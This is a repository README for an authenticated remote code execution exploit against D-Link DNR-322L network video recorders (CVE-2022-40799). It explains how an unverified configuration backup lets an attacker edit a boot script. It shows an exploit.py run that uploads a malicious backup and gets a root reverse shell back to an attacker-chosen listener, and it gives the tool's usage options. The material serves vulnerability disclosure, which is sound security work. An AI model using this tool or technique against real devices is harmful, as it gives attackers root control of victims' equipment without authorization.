





Topics: [CWE](#)

D-Link DNR-322L - Authenticated Remote Code Execution

 [added linebreaks](#)
[luka](#) authored 2 months ago

Name	Last commit	Last update
 LICENSE	init	2 months ago
 README.md	added linebreaks	2 months ago
 exploit.py	init	2 months ago
 requirements	init	2 months ago

 [README.md](#)

CVE-2022-40799

Title: D-Link DNR-322L - Authenticated Remote Code Execution

CVE: [CVE-2022-40799](#)

Advisory: <https://support.announcement.us.dlink.com/announcement/publication.aspx?name=SAP10305>

Affected: <= 2.60B15

Blogpost: https://lukasec.ch/posts/dlink_dnr322.html

```
[-~/Downloads]$ python3 exploit.py -U admin -P admin -t 192.168.1.10 -l 192.168.1.11 -p 8443
[*] Target is online
[*] Login successful
[*] Downloading backup
[*] Download successful
[*] Download successful
[*] Created malicious backup
[*] Uploading malicious backup
[*] Upload successful, target will reboot now
[*] Started listener, waiting for the shell to connect back
[*] When you are done kill the shell with Ctrl+C
/bin/ash: can't access tty: job control turned off

BusyBox v1.11.2 (2012-07-09 19:28:56 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
#
```

Vulnerability

Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots.

Usage

```
usage: exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
  -h, --help            show this help message and exit
  -U USERNAME, --username USERNAME
                        Username, ex: admin
  -P PASSWORD, --password PASSWORD
                        Password for the specified user
  -t TARGET, --target TARGET
                        IP of the target, ex: 192.168.99.99
  -l LHOST, --lhost LHOST
                        IP for the reverse shell to connect back to, ex: 123.123.123.123
  -p LPORT, --lport LPORT
                        Port for the reverse shell to connect back to, ex: 8443
```

Known Bugs

If the device is sleeping, the download of the backup works but the upload creates a connection error. Just execute the exploit twice.

Legal

This code is provided for educational use only. If you engage in any illegal activity the author does not take any responsibility for it. By using this code, you agree with these terms.